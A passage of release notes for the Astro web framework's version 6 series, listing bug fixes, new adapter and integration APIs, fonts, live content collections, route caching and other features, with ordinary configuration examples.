  • #​15884 dcd2c8e Thanks @​matthewp! - Avoid a MaxListenersExceededWarning during astro dev startup by increasing the shared Vite watcher listener limit when attaching content server listeners.

  • #​15904 23d5244 Thanks @​jlukic! - Emit the before-hydration script chunk for the client Vite environment. The chunk was only emitted for prerender and ssr environments, causing a 404 when browsers tried to load it. This broke hydration for any integration using injectScript('before-hydration', ...), including Lit SSR.

  • #​15933 325901e Thanks @​ematipico! - Fixes an issue where <style> tags inside SVG components weren't correctly tracked when enabling CSP.

  • #​15875 c43ef8a Thanks @​matthewp! - Ensure custom prerenderers are always torn down during build, even when getStaticPaths() throws.

  • #​15887 1861fed Thanks @​ematipico! - Fixes an issue where the build incorrectly leaked server entrypoint into the client environment, causing adapters to emit warnings during the build.

  • #​15888 925252e Thanks @​matthewp! - Fix a bug where server:defer could fail at runtime in prerendered pages for some adapters (including Cloudflare), causing errors like serverIslandMap?.get is not a function.

  • #​15901 07c1002 Thanks @​delucis! - Fixes JSON schema generation for content collection schemas that have differences between their input and output shapes.

  • #​15882 759f946 Thanks @​matthewp! - Fix Astro.url.pathname for the root page when using build.format: "file" so it resolves to /index.html instead of /.html during builds.

v6.0.4

Compare Source

Patch Changes
  • #​15870 920f10b Thanks @​matthewp! - Prebundle astro/toolbar in dev when custom dev toolbar apps are registered, preventing re-optimization reloads that can hide or break the toolbar.

  • #​15876 f47ac53 Thanks @​ematipico! - Fixes redirectToDefaultLocale producing a protocol-relative URL (//locale) instead of an absolute path (/locale) when base is '/'.

  • #​15767 e0042f7 Thanks @​matthewp! - Fixes server islands (server:defer) not working when only used in prerendered pages with output: 'server'.

  • #​15873 35841ed Thanks @​matthewp! - Fix a dev server bug where newly created pages could miss layout-imported CSS until restart.

  • #​15874 ce0669d Thanks @​ematipico! - Fixes a warning when using prefetchAll

  • #​15754 58f1d63 Thanks @​rururux! - Fixes a bug where a directory at the project root sharing the same name as a page route would cause the dev server to return a 404 instead of serving the page.

  • #​15869 76b3a5e Thanks @​matthewp! - Update the unknown file extension error hint to recommend vite.resolve.noExternal, which is the correct Vite 7 config key.

v6.0.3

Compare Source

Patch Changes
  • #​15711 b2bd27b Thanks @​OliverSpeir! - Improves Astro core's dev environment handling for prerendered routes by ensuring route/CSS updates and prerender middleware behavior work correctly across both SSR and prerender environments.

    This enables integrations that use Astro's prerender dev environment (such as Cloudflare with prerenderEnvironment: 'node') to get consistent route matching and HMR behavior during development.

  • #​15852 1cdaf9f Thanks @​ematipico! - Fixes a regression where the the routes emitted by the astro:build:done hook didn't have the distURL array correctly populated.

  • #​15765 ca76ff1 Thanks @​matthewp! - Hardens server island POST endpoint validation to use own-property checks for improved consistency

v6.0.2

Compare Source

Patch Changes

v6.0.1

Compare Source

Patch Changes

v6.0.0

Compare Source

Major Changes
What should I do?

If you were using experimental CSP runtime utilities, you must now access methods conditionally:

-Astro.csp.insertDirective("default-src 'self'");
+Astro.csp?.insertDirective("default-src 'self'");
Minor Changes
  • #​14306 141c4a2 Thanks @​ematipico! - Adds new optional properties to setAdapter() for adapter entrypoint handling in the Adapter API

    Changes:

    • New optional properties:
      • entryType?: 'self' | 'legacy-dynamic' - determines if the adapter provides its own entrypoint ('self') or if Astro constructs one ('legacy-dynamic', default)

    Migration: Adapter authors can optionally add these properties to support custom dev entrypoints. If not specified, adapters will use the legacy behavior.

  • #​15700 4e7f3e8 Thanks @​ocavue! - Updates the internal logic during SSR by providing additional metadata for UI framework integrations.

  • #​15231 3928b87 Thanks @​rururux! - Adds a new optional getRemoteSize() method to the Image Service API.

    Previously, inferRemoteSize() had a fixed implementation that fetched the entire image to determine its dimensions.
    With this new helper function that extends inferRemoteSize(), you can now override or extend how remote image metadata is retrieved.

    This enables use cases such as:

    • Caching: Storing image dimensions in a database or local cache to avoid redundant network requests.
    • Provider APIs: Using a specific image provider's API (like Cloudinary or Vercel) to get dimensions without downloading the file.

    For example, you can add a simple cache layer to your existing image service:

    const cache = new Map();
    
    const myService = {
      ...baseService,
      async getRemoteSize(url, imageConfig) {
        if (cache.has(url)) return cache.get(url);
    
        const result = await baseService.getRemoteSize(url, imageConfig);
        cache.set(url, result);
        return result;
      },
    };
    

    See the Image Services API reference documentation for more information.

  • #​15077 a164c77 Thanks @​matthewp! - Updates the Integration API to add setPrerenderer() to the astro:build:start hook, allowing adapters to provide custom prerendering logic.

    The new API accepts either an AstroPrerenderer object directly, or a factory function that receives the default prerenderer:

    'astro:build:start': ({ setPrerenderer }) => {
      setPrerenderer((defaultPrerenderer) => ({
        name: 'my-prerenderer',
        async setup() {
          // Optional: called once before prerendering starts
        },
        async getStaticPaths() {
          // Returns array of { pathname: string, route: RouteData }
          return defaultPrerenderer.getStaticPaths();
        },
        async render(request, { routeData }) {
          // request: Request
          // routeData: RouteData
          // Returns: Response
        },
        async teardown() {
          // Optional: called after all pages are prerendered
        }
      }));
    }
    

    Also adds the astro:static-paths virtual module, which exports a StaticPaths class for adapters to collect all prerenderable paths from within their target runtime. This is useful when implementing a custom prerenderer that runs in a non-Node environment:

    // In your adapter's request handler (running in target runtime)
    import { App } from 'astro/app';
    import { StaticPaths } from 'astro:static-paths';
    
    export function createApp(manifest) {
      const app = new App(manifest);
    
      return {
        async fetch(request) {
          const { pathname } = new URL(request.url);
    
          // Expose endpoint for prerenderer to get static paths
          if (pathname === '/__astro_static_paths') {
            const staticPaths = new StaticPaths(app);
            const paths = await staticPaths.getAll();
            return new Response(JSON.stringify({ paths }));
          }
    
          // Normal request handling
          return app.render(request);
        },
      };
    }
    

    See the adapter reference for more details on implementing a custom prerenderer.

  • #​15345 840fbf9 Thanks @​matthewp! - Adds a new emitClientAsset function to astro/assets/utils for integration authors. This function allows emitting assets that will be moved to the client directory during SSR builds, useful for assets referenced in server-rendered content that need to be available on the client.

    import { emitClientAsset } from 'astro/assets/utils';
    
    // Inside a Vite plugin's transform or load hook
    const handle = emitClientAsset(this, {
      type: 'asset',
      name: 'my-image.png',
      source: imageBuffer,
    });
    
  • #​15460 ee7e53f Thanks @​florian-lefebvre! - Updates the Adapter API to allow providing a serverEntrypoint when using entryType: 'self'

    Astro 6 introduced a new powerful yet simple Adapter API for defining custom server entrypoints. You can now call setAdapter() with the entryType: 'self' option and specify your custom serverEntrypoint:

    export function myAdapter() {
      return {
        name: 'my-adapter',
        hooks: {
          'astro:config:done': ({ setAdapter }) => {
            setAdapter({
              name: 'my-adapter',
              entryType: 'self',
              serverEntrypoint: 'my-adapter/server.js',
              supportedAstroFeatures: {
                // ...
              },
            });
          },
        },
      };
    }
    

    If you need further customization at the Vite level, you can omit serverEntrypoint and instead specify your custom server entrypoint with vite.build.rollupOptions.input.

  • #​15781 2de969d Thanks @​ematipico! - Adds a new clientAddress option to the createContext() function

    Providing this value gives adapter and middleware authors explicit control over the client IP address. When not provided, accessing clientAddress throws an error consistent with other contexts where it is not set by the adapter.

    Additionally, both of the official Netlify and Vercel adapters have been updated to provide this information in their edge middleware.

    import { createContext } from 'astro/middleware';
    
    createContext({
      clientAddress: context.headers.get('x-real-ip'),
    });
    
  • #​15258 d339a18 Thanks @​ematipico! - Stabilizes the adapter feature experimentalStatiHeaders. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:

    export default defineConfig({
      adapter: netlify({
    -    experimentalStaticHeaders: true
    +    staticHeaders: true
      })
    })
    
  • #​15535 dfe2e22 Thanks @​florian-lefebvre! - Exports new createRequest() and writeResponse() utilities from astro/app/node

    To replace the deprecated NodeApp.createRequest() and NodeApp.writeResponse() methods, the astro/app/node module now exposes new createRequest() and writeResponse() utilities. These can be used to convert a NodeJS IncomingMessage into a web-standard Request and stream a web-standard Response into a NodeJS ServerResponse:

    import { createApp } from 'astro/app/entrypoint';
    import { createRequest, writeResponse } from 'astro/app/node';
    import { createServer } from 'node:http';
    
    const app = createApp();
    
    const server = createServer(async (req, res) => {
      const request = createRequest(req);
      const response = await app.render(request);
      await writeResponse(response, res);
    });
    
  • #​15755 f9ee868 Thanks @​matthewp! - Adds a new security.serverIslandBodySizeLimit configuration option

    Server island POST endpoints now enforce a body size limit, similar to the existing security.actionBodySizeLimit for Actions. The new option defaults to 1048576 (1 MB) and can be configured independently.

    Requests exceeding the limit are rejected with a 413 response. You can customize the limit in your Astro config:

    export default defineConfig({
      security: {
        serverIslandBodySizeLimit: 2097152, // 2 MB
      },
    });
    
  • #​15529 a509941 Thanks @​florian-lefebvre! - Adds a new build-in font provider npm to access fonts installed as NPM packages

    You can now add web fonts specified in your package.json through Astro's type-safe Fonts API. The npm font provider allows you to add fonts either from locally installed packages in node_modules or from a CDN.

    Set fontProviders.npm() as your fonts provider along with the required name and cssVariable values, and add options as needed:

    import { defineConfig, fontProviders } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        fonts: [
          {
            name: 'Roboto',
            provider: fontProviders.npm(),
            cssVariable: '--font-roboto',
          },
        ],
      },
    });
    

    See the NPM font provider reference documentation for more details.

  • #​15471 32b4302 Thanks @​ematipico! - Adds a new experimental flag queuedRendering to enable a queue-based rendering engine

    The new engine is based on a two-pass process, where the first pass
    traverses the tree of components, emits an ordered queue, and then the queue is rendered.

    The new engine does not use recursion, and comes with two customizable options.

    Early benchmarks showed significant speed improvements and memory efficiency in big projects.

Queue-rendered based

The new engine can be enabled in your Astro config with experimental.queuedRendering.enabled set to true, and can be further customized with additional sub-features.

// astro.config.mjs
export default defineConfig({
  experimental: {
    queuedRendering: {
      enabled: true,
    },
  },
});
Pooling

With the new engine enabled, you now have the option to have a pool of nodes that can be saved and reused across page rendering. Node pooling has no effect when rendering pages on demand (SSR) because these rendering requests don't share memory. However, it can be very useful for performance when building static pages.

// astro.config.mjs
export default defineConfig({
  experimental: {
    queuedRendering: {
      enabled: true,
      poolSize: 2000, // store up to 2k nodes to be reused across renderers
    },
  },
});
Content caching

The new engine additionally unlocks a new contentCache option. This allows you to cache values of nodes during the rendering phase. This is currently a boolean feature with no further customization (e.g. size of cache) that uses sensible defaults for most large content collections:

When disabled, the pool engine won't cache strings, but only types.

// astro.config.mjs
export default defineConfig({
  experimental: {
    queuedRendering: {
      enabled: true,
      contentCache: true, // enable re-use of node values
    },
  },
});

For more information on enabling and using this feature in your project, see the experimental queued rendering docs for more details.

  • #​14888 4cd3fe4 Thanks @​OliverSpeir! - Updates astro add cloudflare to better setup types, by adding ./worker-configuration.d.ts to tsconfig includes and a generate-types script to package.json

  • #​15646 0dd9d00 Thanks @​delucis! - Removes redundant fetchpriority attributes from the output of Astro’s <Image> component

    Previously, Astro would always include fetchpriority="auto" on images not using the priority attribute.
    However, this is the default value, so specifying it is redundant. This change omits the attribute by default.

  • #​15291 89b6cdd Thanks @​florian-lefebvre! - Removes the experimental.fonts flag and replaces it with a new configuration option fonts - (v6 upgrade guidance)

  • #​15495 5b99e90 Thanks @​leekeh! - Adds a new middlewareMode adapter feature to replace the previous edgeMiddleware option.

    This feature only impacts adapter authors. If your adapter supports edgeMiddleware, you should upgrade to the new middlewareMode option to specify the middleware mode for your adapter as soon as possible. The edgeMiddleware feature is deprecated and will be removed in a future major release.

    export default function createIntegration() {
      return {
        name: '@&#8203;example/my-adapter',
        hooks: {
          'astro:config:done': ({ setAdapter }) => {
            setAdapter({
              name: '@&#8203;example/my-adapter',
              serverEntrypoint: '@&#8203;example/my-adapter/server.js',
              adapterFeatures: {
    -            edgeMiddleware: true
    +            middlewareMode: 'edge'
              }
            });
          },
        },
      };
    }
    
  • #​15694 66449c9 Thanks @​matthewp! - Adds preserveBuildClientDir option to adapter features

    Adapters can now opt in to preserving the client/server directory structure for static builds by setting preserveBuildClientDir: true in their adapter features. When enabled, static builds will output files to build.client instead of directly to outDir.

    This is useful for adapters that require a consistent directory structure regardless of the build output type, such as deploying to platforms with specific file organization requirements.

    // my-adapter/index.js
    export default function myAdapter() {
      return {
        name: 'my-adapter',
        hooks: {
          'astro:config:done': ({ setAdapter }) => {
            setAdapter({
              name: 'my-adapter',
              adapterFeatures: {
                buildOutput: 'static',
                preserveBuildClientDir: true,
              },
            });
          },
        },
      };
    }
    
  • #​15332 7c55f80 Thanks @​matthewp! - Adds a fileURL option to renderMarkdown in content loaders, enabling resolution of relative image paths. When provided, relative image paths in markdown will be resolved relative to the specified file URL and included in metadata.localImagePaths.

    const loader = {
      name: 'my-loader',
      load: async ({ store, renderMarkdown }) => {
        const content = `
    # My Post
    
    ![Local image](./image.png)
    `;
        // Provide a fileURL to resolve relative image paths
        const fileURL = new URL('./posts/my-post.md', import.meta.url);
        const rendered = await renderMarkdown(content, { fileURL });
        // rendered.metadata.localImagePaths now contains the resolved image path
      },
    };
    
  • #​15407 aedbbd8 Thanks @​ematipico! - Adds support for responsive images when security.csp is enabled, out of the box.

    Astro's implementation of responsive image styles has been updated to be compatible with a configured Content Security Policy.

    Instead of, injecting style elements at runtime, Astro will now generate your styles at build time using a combination of class="" and data-* attributes. This means that your processed styles are loaded and hashed out of the box by Astro.

    If you were previously choosing between Astro's CSP feature and including responsive images on your site, you may now use them together.

  • #​15543 d43841d Thanks @​Princesseuh! - Adds a new experimental.rustCompiler flag to opt into the experimental Rust-based Astro compiler

    This experimental compiler is faster, provides better error messages, and generally has better support for modern JavaScript, TypeScript, and CSS features.

    After enabling in your Astro config, the @astrojs/compiler-rs package must also be installed into your project separately:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        rustCompiler: true,
      },
    });
    

    This new compiler is still in early development and may exhibit some differences compared to the existing Go-based compiler. Notably, this compiler is generally more strict in regard to invalid HTML syntax and may throw errors in cases where the Go-based compiler would have been more lenient. For example, unclosed tags (e.g. <p>My paragraph) will now result in errors.

    For more information about using this experimental feature in your project, especially regarding expected differences and limitations, please see the experimental Rust compiler reference docs. To give feedback on the compiler, or to keep up with its development, see the RFC for a new compiler for Astro for more information and discussion.

  • #​15349 a257c4c Thanks @​ascorbic! - Passes collection name to live content loaders

    Live content collection loaders now receive the collection name as part of their parameters. This is helpful for loaders that manage multiple collections or need to differentiate behavior based on the collection being accessed.

    export function storeLoader({ field, key }) {
      return {
        name: 'store-loader',
        loadCollection: async ({ filter, collection }) => {
          // ...
        },
        loadEntry: async ({ filter, collection }) => {
          // ...
        },
      };
    }
    
  • #​15006 f361730 Thanks @​florian-lefebvre! - Adds new session driver object shape

    For greater flexibility and improved consistency with other Astro code, session drivers are now specified as an object:

    -import { defineConfig } from 'astro/config'
    +import { defineConfig, sessionDrivers } from 'astro/config'
    
    export default defineConfig({
      session: {
    -    driver: 'redis',
    -    options: {
    -      url: process.env.REDIS_URL
    -    },
    +    driver: sessionDrivers.redis({
    +      url: process.env.REDIS_URL
    +    }),
      }
    })
    

    Specifying the session driver as a string has been deprecated, but will continue to work until this feature is removed completely in a future major version. The object shape is the current recommended and documented way to configure a session driver.

  • #​15291 89b6cdd Thanks @​florian-lefebvre! - Adds a new Fonts API to provide first-party support for adding custom fonts in Astro.

    This feature allows you to use fonts from both your file system and several built-in supported providers (e.g. Google, Fontsource, Bunny) through a unified API. Keep your site performant thanks to sensible defaults and automatic optimizations including preloading and fallback font generation.

    To enable this feature, configure fonts with one or more fonts:

    import { defineConfig, fontProviders } from 'astro/config';
    
    export default defineConfig({
      fonts: [
        {
          provider: fontProviders.fontsource(),
          name: 'Roboto',
          cssVariable: '--font-roboto',
        },
      ],
    });
    

    Import and include the <Font /> component with the required cssVariable property in the head of your page, usually in a dedicated Head.astro component or in a layout component directly:

    ---
    // src/layouts/Layout.astro
    import { Font } from 'astro:assets';
    ---
    
    <html>
      <head>
        <Font cssVariable="--font-roboto" preload />
      </head>
      <body>
        <slot />
      </body>
    </html>
    

    In any page rendered with that layout, including the layout component itself, you can now define styles with your font's cssVariable to apply your custom font.

    In the following example, the <h1> heading will have the custom font applied, while the paragraph <p> will not.

    ---
    // src/pages/example.astro
    import Layout from '../layouts/Layout.astro';
    ---
    
    <Layout>
      <h1>In a galaxy far, far away...</h1>
    
      <p>Custom fonts make my headings much cooler!</p>
    
      <style>
        h1 {
          font-family: var('--font-roboto');
        }
      </style>
    </Layout>
    

    Visit the updated fonts guide to learn more about adding custom fonts to your project.

  • #​14550 9c282b5 Thanks @​ascorbic! - Adds support for live content collections

    Live content collections are a new type of content collection that fetch their data at runtime rather than build time. This allows you to access frequently updated data from CMSs, APIs, databases, or other sources using a unified API, without needing to rebuild your site when the data changes.

Live collections vs build-time collections

In Astro 5.0, the content layer API added support for adding diverse content sources to content collections. You can create loaders that fetch data from any source at build time, and then access it inside a page via getEntry() and getCollection(). The data is cached between builds, giving fast access and updates.

However, there was no method for updating the data store between builds, meaning any updates to the data needed a full site deploy, even if the pages are rendered on demand. This meant that content collections were not suitable for pages that update frequently. Instead, these pages tended to access the APIs directly in the frontmatter. This worked, but it led to a lot of boilerplate, and meant users didn't benefit from the simple, unified API that content loaders offer. In most cases, users tended to individually create loader libraries shared between pages.

Live content collections (introduced experimentally in Astro 5.10) solve this problem by allowing you to create loaders that fetch data at runtime, rather than build time. This means that the data is always up-to-date, without needing to rebuild the site.

How to use

To use live collections, create a new src/live.config.ts file (alongside your src/content.config.ts if you have one) to define your live collections with a live content loader using the new defineLiveCollection() function from the astro:content module:

import { defineLiveCollection } from 'astro:content';
import { storeLoader } from '@&#8203;mystore/astro-loader';

const products = defineLiveCollection({
  loader: storeLoader({
    apiKey: process.env.STORE_API_KEY,
    endpoint: 'https://api.mystore.com/v1',
  }),
});

export const collections = { products };

You can then use the getLiveCollection() and getLiveEntry() functions to access your live data, along with error handling (since anything can happen when requesting live data!):

---
import { getLiveCollection, getLiveEntry, render } from 'astro:content';
// Get all products
const { entries: allProducts, error } = await getLiveCollection('products');
if (error) {
  // Handle error appropriately
  console.error(error.message);
}

// Get products with a filter (if supported by your loader)
const { entries: electronics } = await getLiveCollection('products', { category: 'electronics' });

// Get a single product by ID (string syntax)
const { entry: product, error: productError } = await getLiveEntry('products', Astro.params.id);
if (productError) {
  return Astro.redirect('/404');
}

// Get a single product with a custom query (if supported by your loader) using a filter object
const { entry: productBySlug } = await getLiveEntry('products', { slug: Astro.params.slug });
const { Content } = await render(product);
---

<h1>{product.data.title}</h1>
<Content />
Upgrading from experimental live collections

If you were using the experimental feature, you must remove the experimental.liveContentCollections flag from your astro.config.* file:

 export default defineConfig({
   // ...
-  experimental: {
-    liveContentCollections: true,
-  },
 });

No other changes to your project code are required as long as you have been keeping up with Astro 5.x patch releases, which contained breaking changes to this experimental feature. If you experience problems with your live collections after upgrading to Astro v6 and removing this flag, please review the Astro CHANGELOG from 5.10.2 onwards for any potential updates you might have missed, or follow the current v6 documentation for live collections.

  • #​15548 5b8f573 Thanks @​florian-lefebvre! - Adds a new optional embeddedLangs prop to the <Code /> component to support languages beyond the primary lang

    This allows, for example, highlighting .vue files with a <script setup lang="tsx"> block correctly:

    ---
    import { Code } from 'astro:components';
    
    const code = `
    <script setup lang="tsx">
    const Text = ({ text }: { text: string }) => <div>{text}</div>;
    </script>
    
    <template>
      <Text text="hello world" />
    </template>`;
    ---
    
    <Code {code} lang="vue" embeddedLangs={['tsx']} />
    

    See the <Code /> component documentation for more details.

  • #​14826 170f64e Thanks @​florian-lefebvre! - Adds an option prerenderConflictBehavior to configure the behavior of conflicting prerendered routes

    By default, Astro warns you during the build about any conflicts between multiple dynamic routes that can result in the same output path. For example /blog/[slug] and /blog/[...all] both could try to prerender the /blog/post-1 path. In such cases, Astro renders only the highest priority route for the conflicting path. This allows your site to build successfully, although you may discover that some pages are rendered by unexpected routes.

    With the new prerenderConflictBehavior configuration option, you can now configure this further:

    • prerenderConflictBehavior: 'error' fails the build
    • prerenderConflictBehavior: 'warn' (default) logs a warning and the highest-priority route wins
    • prerenderConflictBehavior: 'ignore' silently picks the highest-priority route when conflicts occur
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
    +    prerenderConflictBehavior: 'error',
    });
    
  • #​14946 95c40f7 Thanks @​ematipico! - Removes the experimental.csp flag and replaces it with a new configuration option security.csp - (v6 upgrade guidance)

  • #​15579 08437d5 Thanks @​ascorbic! - Adds two new experimental flags for a Route Caching API and further configuration-level Route Rules for controlling SSR response caching.

    Route caching gives you a platform-agnostic way to cache server-rendered responses, based on web standard cache headers. You set caching directives in your routes using Astro.cache (in .astro pages) or context.cache (in API routes and middleware), and Astro translates them into the appropriate headers or runtime behavior depending on your adapter. You can also define cache rules for routes declaratively in your config using experimental.routeRules, without modifying route code.

    This feature requires on-demand rendering. Prerendered pages are already static and do not use route caching.

Getting started

Enable the feature by configuring experimental.cache with a cache provider in your Astro config:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';
import { memoryCache } from 'astro/config';

export default defineConfig({
  adapter: node({ mode: 'standalone' }),
  experimental: {
    cache: {
      provider: memoryCache(),
    },
  },
});
Using Astro.cache and context.cache

In .astro pages, use Astro.cache.set() to control caching:

---
// src/pages/index.astro
Astro.cache.set({
  maxAge: 120, // Cache for 2 minutes
  swr: 60, // Serve stale for 1 minute while revalidating
  tags: ['home'], // Tag for targeted invalidation
});
---

<html><body>Cached page</body></html>

In API routes and middleware, use context.cache:

// src/pages/api/data.ts
export function GET(context) {
  context.cache.set({
    maxAge: 300,
    tags: ['api', 'data'],
  });
  return Response.json({ ok: true });
}
Cache options

cache.set() accepts the following options:

  • maxAge (number): Time in seconds the response is considered fresh.
  • swr (number): Stale-while-revalidate window in seconds. During this window, stale content is served while a fresh response is generated in the background.
  • tags (string[]): Cache tags for targeted invalidation. Tags accumulate across multiple set() calls within a request.
  • lastModified (Date): When multiple set() calls provide lastModified, the most recent date wins.
  • etag (string): Entity tag for conditional requests.

Call cache.set(false) to explicitly opt out of caching for a request.

Multiple calls to cache.set() within a single request are merged: scalar values use last-write-wins, lastModified uses most-recent-wins, and tags accumulate.

Invalidation

Purge cached entries by tag or path using cache.invalidate():

// Invalidate all entries tagged 'data'
await context.cache.invalidate({ tags: ['data'] });

// Invalidate a specific path
await context.cache.invalidate({ path: '/api/data' });
Config-level route rules

Use experimental.routeRules to set default cache options for routes without modifying route code. Supports Nitro-style shortcuts for ergonomic configuration:

import { memoryCache } from 'astro/config';

export default defineConfig({
  experimental: {
    cache: {
      provider: memoryCache(),
    },
    routeRules: {
      // Shortcut form (Nitro-style)
      '/api/*': { swr: 600 },

      // Full form with nested cache
      '/products/*': { cache: { maxAge: 3600, tags: ['products'] } },
    },
  },
});

Route patterns support static paths, dynamic parameters ([slug]), and rest parameters ([...path]). Per-route cache.set() calls merge with (and can override) the config-level defaults.

You can also read the current cache state via cache.options:

const { maxAge, swr, tags } = context.cache.options;
Cache providers

Cache behavior is determined by the configured cache provider. There are two types:

  • CDN providers set response headers (e.g. CDN-Cache-Control, Cache-Tag) and let the CDN handle caching. Astro strips these headers before sending the response to the client.
  • Runtime providers implement onRequest() to intercept and cache responses in-process, adding an X-Astro-Cache header (HIT/MISS/STALE) for observability.
Built-in memory cache provider

Astro includes a built-in, in-memory LRU runtime cache provider. Import memoryCache from astro/config to configure it.

Features:

  • In-memory LRU cache with configurable max entries (default: 1000)
  • Stale-while-revalidate support
  • Tag-based and path-based invalidation
  • X-Astro-Cache response header: HIT, MISS, or STALE
  • Query parameter sorting for better hit rates (?b=2&a=1 and ?a=1&b=2 hit the same entry)
  • Common tracking parameters (utm_*, fbclid, gclid, etc.) excluded from cache keys by default
  • Vary header support — responses that set Vary automatically get separate cache entries per variant
  • Configurable query parameter filtering via query.exclude (glob patterns) and query.include (allowlist)

For more information on enabling and using this feature in your project, see the Experimental Route Caching docs.
For a complete overview and to give feedback on this experimental API, see the Route Caching RFC.

  • #​15483 7be3308 Thanks @​florian-lefebvre! - Adds streaming option to the createApp() function in the Adapter API, mirroring the same functionality available when creating a new App instance

    An adapter's createApp() function now accepts streaming (defaults to true) as an option. HTML streaming breaks a document into chunks to send over the network and render on the page in order. This normally results in visitors seeing your HTML as fast as possible but factors such as network conditions and waiting for data fetches can block page rendering.

    HTML streaming helps with performance and generally provides a better visitor experience. In most cases, disabling streaming is not recommended.

    However, when you need to disable HTML streaming (e.g. your host only supports non-streamed HTML caching at the CDN level), you can opt out of the default behavior by passing streaming: false to createApp():

    import { createApp } from 'astro/app/entrypoint';
    
    const app = createApp({ streaming: false });
    

    See more about the createApp() function in the Adapter API reference.

Patch Changes
  • #​15423 c5ea720 Thanks @​matthewp! - Improves error message when a dynamic redirect destination does not match any existing route.

    Previously, configuring a redirect like /categories/[category]/categories/[category]/1 in static output mode would fail with a misleading "getStaticPaths required" error. Now, Astro detects this early and provides a clear error explaining that the destination does not match any existing route.

  • #​15167 4fca170 Thanks @​HiDeoo! - Fixes an issue where CSS from unused components, when using content collections, could be incorrectly included between page navigations in development mode.

  • #​15565 30cd6db Thanks @​ematipico! - Fixes an issue where the use of the Astro internal logger couldn't work with Cloudflare Vite plugin.

  • #​15508 2c6484a Thanks @​KTibow! - Fixes behavior when shortcuts are used before server is ready

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - Improves JSDoc annotations for AstroGlobal, AstroSharedContext and APIContext types

  • #​15712 7ac43c7 Thanks @​florian-lefebvre! - Improves astro info by supporting more operating systems when copying the information to the clipboard.

  • #​15054 22db567 Thanks @​matthewp! - Improves zod union type error messages to show expected vs received types instead of generic "Invalid input"

  • #​15064 caf5621 Thanks @​ascorbic! - Fixes a bug that caused incorrect warnings of duplicate entries to be logged by the glob loader when editing a file

  • #​15801 01db4f3 Thanks @​ascorbic! - Improves the experience of working with experimental route caching in dev mode by replacing some errors with silent no-ops, avoiding the need to write conditional logic to handle different modes

    Adds a cache.enabled property to CacheLike so libraries can check whether caching is active without try/catch.

  • #​15562 e14a51d Thanks @​florian-lefebvre! - Removes types for the astro:ssr-manifest module, which was removed

  • #​15542 9760404 Thanks @​rururux! - Improves rendering by preserving hidden="until-found" value in attributes

  • #​15044 7cac71b Thanks @​florian-lefebvre! - Removes an exposed internal API of the preview server

  • #​15573 d789452 Thanks @​matthewp! - Clear the route cache on content changes so slug pages reflect updated data during dev.

  • #​15308 89cbcfa Thanks @​matthewp! - Fixes styles missing in dev for prerendered pages when using Cloudflare adapter

  • #​15435 957b9fe Thanks @​rururux! - Improves compatibility of the built-in image endpoint with runtimes that don't support CJS dependencies correctly

  • #​15640 4c1a801 Thanks @​ematipico! - Reverts the support of Shiki with CSP. Unfortunately, after exhaustive tests, the highlighter can't be supported to cover all cases.

    Adds a warning when both Content Security Policy (CSP) and Shiki syntax highlighting are enabled, as they are incompatible due to Shiki's use of inline styles

  • #​15415 cc3c46c Thanks @​ematipico! - Fixes an issue where CSP headers were incorrectly injected in the development server.

  • #​15412 c546563 Thanks @​florian-lefebvre! - Improves the AstroAdapter type and how legacy adapters are handled

  • #​15322 18e0980 Thanks @​matthewp! - Prevents missing CSS when using both SSR and prerendered routes

  • #​15760 f49a27f Thanks @​ematipico! - Fixed an issue where queued rendering wasn't correctly re-using the saved nodes.

  • #​15277 cb99214 Thanks @​ematipico! - Fixes an issue where the function createShikiHighlighter would always create a new Shiki highlighter instance. Now the function returns a cached version of the highlighter based on the Shiki options. This should improve the performance for sites that heavily rely on Shiki and code in their pages.

  • #​15394 5520f89 Thanks @​florian-lefebvre! - Fixes a case where using the Fonts API with netlify dev wouldn't work because of query parameters

  • #​15605 f6473fd Thanks @​ascorbic! - Improves .astro component SSR rendering performance by up to 2x.

    This includes several optimizations to the way that Astro generates and renders components on the server. These are mostly micro-optimizations, but they add up to a significant improvement in performance. Most pages will benefit, but pages with many components will see the biggest improvement, as will pages with lots of strings (e.g. text-heavy pages with lots of HTML elements).

  • #​15721 e6e146c Thanks @​matthewp! - Fixes action route handling to return 404 for requests to prototype method names like constructor or toString used as action paths

  • #​15497 a93c81d Thanks @​matthewp! - Fix dev reloads for content collection Markdown updates under Vite 7.

  • #​15780 e0ac125 Thanks @​ematipico! - Prevents vite.envPrefix misconfiguration from exposing access: "secret" environment variables in client-side bundles. Astro now throws a clear error at startup if any vite.envPrefix entry matches a variable declared with access: "secret" in env.schema.

    For example, the following configuration will throw an error for API_SECRET because it's defined as secret its name matches ['PUBLIC_', 'API_'] defined in env.schema:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      env: {
        schema: {
          API_SECRET: envField.string({ context: 'server', access: 'secret', optional: true }),
          API_URL: envField.string({ context: 'server', access: 'public', optional: true }),
        },
      },
      vite: {
        envPrefix: ['PUBLIC_', 'API_'],
      },
    });
    
  • #​15514 999a7dd Thanks @​veeceey! - Fixes font flash (FOUT) during ClientRouter navigation by preserving inline <style> elements and font preload links in the head during page transitions.

    Previously, @font-face declarations from the <Font> component were removed and re-inserted on every client-side navigation, causing the browser to re-evaluate them.

  • #​15560 170ed89 Thanks @​z0mt3c! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.

  • #​15704 862d77b Thanks @​umutkeltek! - Fixes i18n fallback middleware intercepting non-404 responses

    The fallback middleware was triggering for all responses with status >= 300, including legitimate 3xx redirects, 403 forbidden, and 5xx server errors. This broke auth flows and form submissions on localized server routes. The fallback now correctly only triggers for 404 (page not found) responses.

  • #​15661 7150a2e Thanks @​ematipico! - Fixes a build error when generating projects with 100k+ static routes.

  • #​15580 a92333c Thanks @​ematipico! - Fixes a build error when generating projects with a large number of static routes

  • #​15176 9265546 Thanks @​matthewp! - Fixes hydration for framework components inside MDX when using Astro.slots.render()

    Previously, when multiple framework components with client:* directives were passed as named slots to an Astro component in MDX, only the first slot would hydrate correctly. Subsequent slots would render their HTML but fail to include the necessary hydration scripts.

  • #​15506 074901f Thanks @​ascorbic! - Fixes a race condition where concurrent requests to dynamic routes in the dev server could produce incorrect params.

